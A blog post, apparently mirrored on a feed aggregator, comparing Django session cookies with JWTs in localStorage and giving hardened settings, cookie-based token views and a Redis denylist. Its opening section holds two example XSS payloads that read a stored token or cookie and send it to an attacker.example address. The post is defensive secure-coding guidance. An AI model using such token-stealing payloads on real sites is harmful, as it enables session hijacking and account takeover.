惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
MyScale Blog
MyScale Blog
Y
Y Combinator Blog
罗磊的独立博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
P
Proofpoint News Feed
Google DeepMind News
Google DeepMind News
V
Vulnerabilities – Threatpost
T
The Blog of Author Tim Ferriss
云风的 BLOG
云风的 BLOG
Recorded Future
Recorded Future
N
News and Events Feed by Topic
B
Blog RSS Feed
阮一峰的网络日志
阮一峰的网络日志
博客园_首页
C
CXSECURITY Database RSS Feed - CXSecurity.com
博客园 - 【当耐特】
N
Netflix TechBlog - Medium
博客园 - 叶小钗
B
Blog
Vercel News
Vercel News
T
Tenable Blog
T
The Exploit Database - CXSecurity.com
Spread Privacy
Spread Privacy
T
Threat Research - Cisco Blogs
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Last Week in AI
Last Week in AI
F
Fortinet All Blogs
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Microsoft Security Blog
Microsoft Security Blog
S
Securelist
Microsoft Azure Blog
Microsoft Azure Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
P
Palo Alto Networks Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
D
DataBreaches.Net
Cyberwarzone
Cyberwarzone
Engineering at Meta
Engineering at Meta
Martin Fowler
Martin Fowler
G
GRAHAM CLULEY
Project Zero
Project Zero
Cisco Talos Blog
Cisco Talos Blog
A
Arctic Wolf
C
CERT Recently Published Vulnerability Notes
L
LangChain Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
C
Check Point Blog
A
About on SuperTechFans
W
WeLiveSecurity
The GitHub Blog
The GitHub Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
Django Session Cookie vs localStorage JWT Security Comparison
Stefan · 2026-05-27 · via DEV Community

Django Session Cookie vs localStorage JWT Security Comparison

A team ships a Django REST Framework API, adds a React SPA on the same origin, and reaches for localStorage to store JWTs because that's what the tutorial used. Six months later, a reflected XSS on a third-party widget exfiltrates every active session token in under 200ms. The attacker doesn't need to touch a cookie, bypass SameSite, or forge a CSRF token. They just read a key from storage and replay it from a server in another country. This comparison is about why that attack path exists, when it doesn't, and what the settings are that actually change the outcome.


How attackers steal tokens from each storage model

The attack mechanic is straightforward. localStorage is accessible to any JavaScript executing on the page, regardless of where that script originated. A stored JWT is just a string sitting in a key-value store that window.localStorage.getItem() can read without restriction. A successful XSS — whether reflected, stored, or through a compromised dependency — gives an attacker the same DOM access your own application code has.

The following payload illustrates the extraction. It takes the token and beacons it to an attacker-controlled endpoint:

// Stored XSS payload injected into a product review field
(function exfil() {
  const token = localStorage.getItem('access_token'); // reads the JWT directly
  if (!token) return;

  // encode and exfiltrate — img beacons bypass CSP default-src in many configs
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(token);
})();

Enter fullscreen mode Exit fullscreen mode

Now run the same payload against a Django session cookie configured with HttpOnly=True:

// Same XSS payload, same origin, same execution context
(function exfil() {
  const cookie = document.cookie; // returns "" — HttpOnly cookies are NOT in document.cookie
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(cookie);
})();

Enter fullscreen mode Exit fullscreen mode

The HttpOnly flag instructs the browser to exclude the cookie from the document.cookie API entirely. JavaScript cannot read it. The beacon fires, but it carries an empty string. The attacker has code execution on your page but still can't steal the session identifier.

This is the core asymmetry. localStorage has no equivalent protection mechanism. There is no flag you can set on a localStorage key to make it invisible to script. The storage model itself is the exposure. For a deeper look at the full surface area of browser storage options, the browser storage security tradeoffs lab on Code Review Lab walks through localStorage, sessionStorage, IndexedDB, and cookies in attack context.

The account takeover path from localStorage token theft is direct: attacker captures the JWT, copies the Authorization: Bearer <token> header into any HTTP client, and makes authenticated requests until the token expires. If your access token TTL is 24 hours — or worse, if you're storing a refresh token in localStorage too — that window is long enough to cause real damage.


Fixing it: HttpOnly, Secure, SameSite, and short-lived JWTs

For Django's built-in session framework, the secure defaults are three settings that should be on in every non-local environment:

# settings.py

# Session cookie flags
SESSION_COOKIE_HTTPONLY = True   # prevent JS access — this is the XSS mitigation
SESSION_COOKIE_SECURE = True     # only transmit over HTTPS — defeats passive interception
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site cookie sending on most navigations

# CSRF cookie — often forgotten
CSRF_COOKIE_HTTPONLY = False     # must stay False so JS can read it for AJAX; that's intentional
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'

# Keep session age short for sensitive apps
SESSION_COOKIE_AGE = 3600        # 1 hour; adjust to your threat model
SESSION_EXPIRE_AT_BROWSER_CLOSE = True

Enter fullscreen mode Exit fullscreen mode

SESSION_COOKIE_HTTPONLY defaults to True in Django already. The one that trips people up is SESSION_COOKIE_SECURE, which defaults to False so local development works without TLS. Forgetting to override it in production means the session cookie travels over plaintext HTTP connections, which is exploitable on any network path you don't control.

SameSite=Lax is the middle ground: it blocks cross-site POST requests (the classic CSRF vector) while still allowing top-level navigations (clicking a link from email to your site). SameSite=Strict is more aggressive and breaks OAuth redirects and some email link flows. SameSite=None requires Secure and re-opens cross-site sending — only appropriate when you explicitly need cross-origin cookie delivery.

If your architecture genuinely requires JWTs (cross-domain clients, microservices — covered in a later section), the fix is to move them out of localStorage and into HttpOnly cookies. With DRF SimpleJWT:

# settings.py — SimpleJWT HttpOnly cookie configuration

from datetime import timedelta

SIMPLE_JWT = {
    'ACCESS_TOKEN_LIFETIME': timedelta(minutes=15),   # short-lived; stolen tokens expire fast
    'REFRESH_TOKEN_LIFETIME': timedelta(days=1),
    'ROTATE_REFRESH_TOKENS': True,                    # rotation means a stolen refresh token
    'BLACKLIST_AFTER_ROTATION': True,                 # can only be used once
    'AUTH_COOKIE': 'access_token',                    # requires djangorestframework-simplejwt[cookie]
    'AUTH_COOKIE_HTTP_ONLY': True,
    'AUTH_COOKIE_SECURE': True,
    'AUTH_COOKIE_SAMESITE': 'Lax',
}

# views.py — set cookie on login rather than returning token in response body
from rest_framework_simplejwt.views import TokenObtainPairView
from rest_framework.response import Response

class CookieTokenObtainPairView(TokenObtainPairView):
    def post(self, request, *args, **kwargs):
        response = super().post(request, *args, **kwargs)
        if response.status_code == 200:
            access = response.data.pop('access')  # remove from body — body is readable by JS
            refresh = response.data.pop('refresh')
            response.set_cookie(
                'access_token', access,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=15 * 60,  # matches ACCESS_TOKEN_LIFETIME
            )
            response.set_cookie(
                'refresh_token', refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
            )
        return response

Enter fullscreen mode Exit fullscreen mode

Keeping the JWT in the response body and then writing it to localStorage in your frontend code — the pattern most tutorials show — is precisely the antipattern you're replacing here. The advanced XSS exfiltration techniques lab demonstrates how even a restricted XSS (no alert(), CSP blocking inline scripts) can still reach localStorage through DOM clobbering and deferred injection, which is why "we have CSP" is not a sufficient argument for keeping tokens there.


CSRF surface area: cookies vs Authorization headers

Moving tokens into HttpOnly cookies trades one attack surface for another. Cookies are sent automatically by the browser on every matching request, which means CSRF becomes relevant in a way it isn't when the client must explicitly set an Authorization header.

The difference: a JWT in localStorage used via Authorization: Bearer header is immune to CSRF because cross-site requests can't set custom headers (the browser won't let attacker.example set headers on a request to yourapp.example). But it's fully exposed to XSS. A JWT in an HttpOnly cookie is immune to XSS readout but is sent on cross-origin requests unless SameSite blocks it.

SameSite=Lax covers the most common CSRF attacks — cross-site form POST, cross-site fetch with credentials: 'include'. It doesn't cover all cases, which is why Django's CsrfViewMiddleware still matters:

# views.py — Django CSRF middleware in action
from django.views.decorators.csrf import csrf_protect
from django.http import JsonResponse

@csrf_protect  # redundant if CsrfViewMiddleware is in MIDDLEWARE, shown for clarity
def transfer_funds(request):
    if request.method == 'POST':
        # CsrfViewMiddleware has already verified the token by this point
        # It checks request.META['HTTP_X_CSRFTOKEN'] against the cookie value
        amount = request.POST.get('amount')
        # ... domain-specific transfer logic ...
        return JsonResponse({'status': 'ok'})

Enter fullscreen mode Exit fullscreen mode

On the frontend, your AJAX code needs to read the CSRF cookie (note: CSRF_COOKIE_HTTPONLY must be False for this to work) and attach it as a header:

// fetch helper that reads CSRF token from cookie and sends it as a header
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrftoken='))
    ?.split('=')[1];
}

async function securePost(url, data) {
  return fetch(url, {
    method: 'POST',
    credentials: 'same-origin',           // send session cookie
    headers: {
      'Content-Type': 'application/json',
      'X-CSRFToken': getCsrfToken(),       // Django's CsrfViewMiddleware checks this
    },
    body: JSON.stringify(data),
  });
}

Enter fullscreen mode Exit fullscreen mode

The double-submit pattern here is what Django's middleware validates: the CSRF value in the cookie must match the value in the header (or POST body). An attacker on a different origin can force the cookie to be sent via a form submission but cannot read the cookie value to populate the header, so the check fails.

SameSite=Strict would make this middleware check largely redundant for cookie-based sessions, but breaks too many real-world flows to recommend as a default.


Revocation, rotation, and session invalidation

This is where Django sessions have a structural advantage that JWTs cannot match without additional infrastructure.

A Django session ID is a server-side reference. When you call request.session.flush(), the session record is deleted from the backing store (database, cache, file). Every subsequent request that presents that session cookie gets a 403 or redirect to login because the server-side record no longer exists. Logout is immediate, complete, and requires no coordination across services.

# views.py — complete logout with Django sessions
from django.contrib.auth import logout
from django.http import JsonResponse

def logout_view(request):
    logout(request)  # calls request.session.flush() + clears auth
    # The session cookie is now invalid — any replay of it hits a missing session record
    response = JsonResponse({'status': 'logged out'})
    response.delete_cookie('sessionid')  # cosmetic; server-side flush is what matters
    return response

Enter fullscreen mode Exit fullscreen mode

A stateless JWT doesn't have this property. The token is self-contained and valid until its exp claim passes. Calling "logout" on the client by deleting the cookie or clearing localStorage only affects that device. If an attacker already exfiltrated the token, it keeps working.

The standard mitigation is a denylist: store invalidated JTIs (JWT IDs) in Redis or a fast cache, check on every request, reject hits. This works, but it reintroduces statefulness — you're now running a distributed session store by another name:

# middleware.py — Redis-backed JWT denylist check
import redis
from rest_framework_simplejwt.tokens import UntypedToken
from rest_framework_simplejwt.exceptions import InvalidToken, TokenError
from django.http import JsonResponse

r = redis.StrictRedis.from_url('redis://localhost:6379/0')

class JWTDenylistMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        auth_header = request.COOKIES.get('access_token') or \
                      request.META.get('HTTP_AUTHORIZATION', '').replace('Bearer ', '')

        if auth_header:
            try:
                token = UntypedToken(auth_header)
                jti = token.payload.get('jti')
                if jti and r.get(f'denylist:{jti}'):
                    # reject before view logic — token was explicitly revoked
                    return JsonResponse({'detail': 'Token revoked'}, status=401)
            except (InvalidToken, TokenError):
                pass  # let the view's authentication class return the proper error

        return self.get_response(request)


def revoke_token(jti: str, ttl_seconds: int):
    # TTL matches remaining token lifetime — no need to keep dead entries forever
    r.setex(f'denylist:{jti}', ttl_seconds, '1')

Enter fullscreen mode Exit fullscreen mode

The broken authentication patterns lab covers the class of bugs this introduces — race conditions on rotation, denylist misses during Redis failover, and token reuse after a rotation acknowledgment is lost.

For incident response, the operational difference is significant. Suspect a session was compromised? With Django sessions: delete the row. With JWTs and no denylist: wait for expiry or deploy a denylist under load. Teams that have been through an account takeover incident tend to develop strong opinions about this difference quickly.


Threat model scorecard: XSS, CSRF, MITM, replay

Threat Django HttpOnly Session Cookie JWT in localStorage JWT in HttpOnly Cookie
XSS token theft Blocked (HttpOnly) Fully exposed Blocked (HttpOnly)
CSRF Requires SameSite + CSRF middleware Not applicable (no cookie) Requires SameSite + CSRF middleware
MITM / passive interception Blocked with Secure flag + HTTPS Blocked with HTTPS Blocked with Secure flag + HTTPS
Replay after logout Impossible (server-side flush) Possible until exp Possible until exp (without denylist)
Token revocation Immediate Requires denylist Requires denylist
Cross-domain use Not possible (SameSite blocks it) Works via Authorization header Requires SameSite=None; Secure
Mobile client auth Awkward (cookies on native apps) Natural fit Workable with secure storage
Operational complexity Low (session table + cache) Medium (short TTL management) Medium-High (rotation + denylist)

The honest read of this table: for a same-domain web app with a standard browser client, Django session cookies win on almost every dimension. The JWT in localStorage pattern is the worst of both worlds — it reintroduces statefulness on the frontend while removing the server-side revocation safety net.


When a JWT actually makes sense in a Django app

There are legitimate cases. Forcing Django sessions into every architecture is its own kind of mistake.

Mobile and native clients don't have a reliable cookie jar and can't take advantage of HttpOnly cookies without additional WebView configuration. JWTs stored in platform secure storage (iOS Keychain, Android Keystore) are the appropriate pattern there. The constraint is "secure storage" — not localStorage, not SharedPreferences in plaintext.

Cross-domain SPAs where the API and frontend are on different registrable domains (e.g., api.company.com and app.otherdomain.com) can't use SameSite=Lax cookies. Credentialed cookie sharing across different registrable domains requires SameSite=None; Secure and explicit CORS configuration, which creates its own attack surface. A short-lived JWT passed via Authorization header avoids that entirely.

Microservice-to-microservice auth is the use case JWTs were actually designed for. Service A mints a signed token asserting claims about the calling context; service B validates the signature without a network call. No shared session store needed.

For cross-domain SPAs where you must use JWTs, keep access tokens in memory (a module-level variable or React context — not localStorage, not sessionStorage) and store only the refresh token in an HttpOnly cookie served by your auth endpoint:

# views.py — in-memory access token pattern
# Access token is returned in the response body (JS holds it in memory only)
# Refresh token goes into an HttpOnly cookie — survives page reload, not readable by JS

class CookieTokenRefreshView(APIView):
    def post(self, request):
        refresh_token = request.COOKIES.get('refresh_token')
        if not refresh_token:
            return Response({'detail': 'No refresh token'}, status=401)

        try:
            refresh = RefreshToken(refresh_token)
            access = str(refresh.access_token)

            if api_settings.ROTATE_REFRESH_TOKENS:
                # Old refresh token is blacklisted here; reject before use
                refresh.blacklist()
                new_refresh = str(refresh)
            else:
                new_refresh = refresh_token

            response = Response({'access': access})  # access token in body — JS stores in memory
            response.set_cookie(
                'refresh_token', new_refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
                path='/api/token/refresh/',  # scope the cookie to the refresh endpoint only
            )
            return response

        except TokenError as e:
            return Response({'detail': str(e)}, status=401)

Enter fullscreen mode Exit fullscreen mode

Scoping the refresh cookie to /api/token/refresh/ via the path attribute means it isn't sent on every API request, reducing the CSRF exposure window.


Recommended defaults for new Django projects

Start here and deviate only when your architecture requires it:

# settings.py — production baseline

import os

DEBUG = False

# Session security
SESSION_COOKIE_HTTPONLY = True    # default True, but be explicit
SESSION_COOKIE_SECURE = True      # require HTTPS — override to False in local dev only
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site POST CSRF without breaking OAuth flows
SESSION_COOKIE_AGE = 3600         # 1 hour idle expiry; tune per sensitivity
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'  # cache-backed, survives restart

# CSRF
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_HTTPONLY = False       # must be False — JS needs to read it for AJAX
CSRF_TRUSTED_ORIGINS = [
    'https://yourapp.example.com',  # explicit allowlist — no wildcards
]

# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',  # keep this — SameSite doesn't cover everything
    # ... remaining middleware ...
]

Enter fullscreen mode Exit fullscreen mode

# views.py — minimal login/logout

from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.http import require_POST
from django.views.decorators.csrf import csrf_protect

@csrf_protect
@require_POST
def login_view(request):
    username = request.POST.get('username', '').strip()
    password = request.POST.get('password', '')

    user = authenticate(request, username=username, password=password)
    if user is None:
        return JsonResponse({'detail': 'Invalid credentials'}, status=401)

    login(request, user)
    # Django rotates session ID on login — prevents session fixation
    request.session.cycle_key()

    return JsonResponse({'username': user.username})


@require_POST
def logout_view(request):
    logout(request)  # flushes session server-side; cookie replay now returns 403
    return JsonResponse({'status': 'ok'})

Enter fullscreen mode Exit fullscreen mode

The cycle_key() call deserves a note: django.contrib.auth.login() calls this internally, but being explicit makes it visible during code review. Session fixation attacks — where an attacker plants a known session ID before authentication and then inherits the authenticated session — are blocked when the ID rotates on privilege change.

When to deviate from this baseline:

  • You have native mobile clients: add JWT issuance to a dedicated /api/token/ endpoint, use platform secure storage on the client side.
  • Your API serves multiple frontend origins: evaluate SameSite=None; Secure with explicit CORS_ALLOWED_ORIGINS rather than wildcards, and add rate limiting to token endpoints.
  • You need sub-minute revocation latency on JWTs: add a Redis denylist, accept the operational overhead, keep access token TTLs at 5 minutes or less.

The default in Django is already the secure default: HttpOnly sessions, server-side storage, immediate revocation. The failure mode we see repeatedly is developers reaching past those defaults for a pattern that adds complexity and attack surface without a matching functional requirement. Before adding JWT infrastructure to a Django project, write down the concrete reason session cookies don't work for your case. If you can't write it down, you don't need JWTs. For engineers building that security intuition systematically, the appsec engineer fundamentals track at Code Review Lab covers authentication architecture alongside the code-level vulnerabilities that make these decisions matter.


Further reading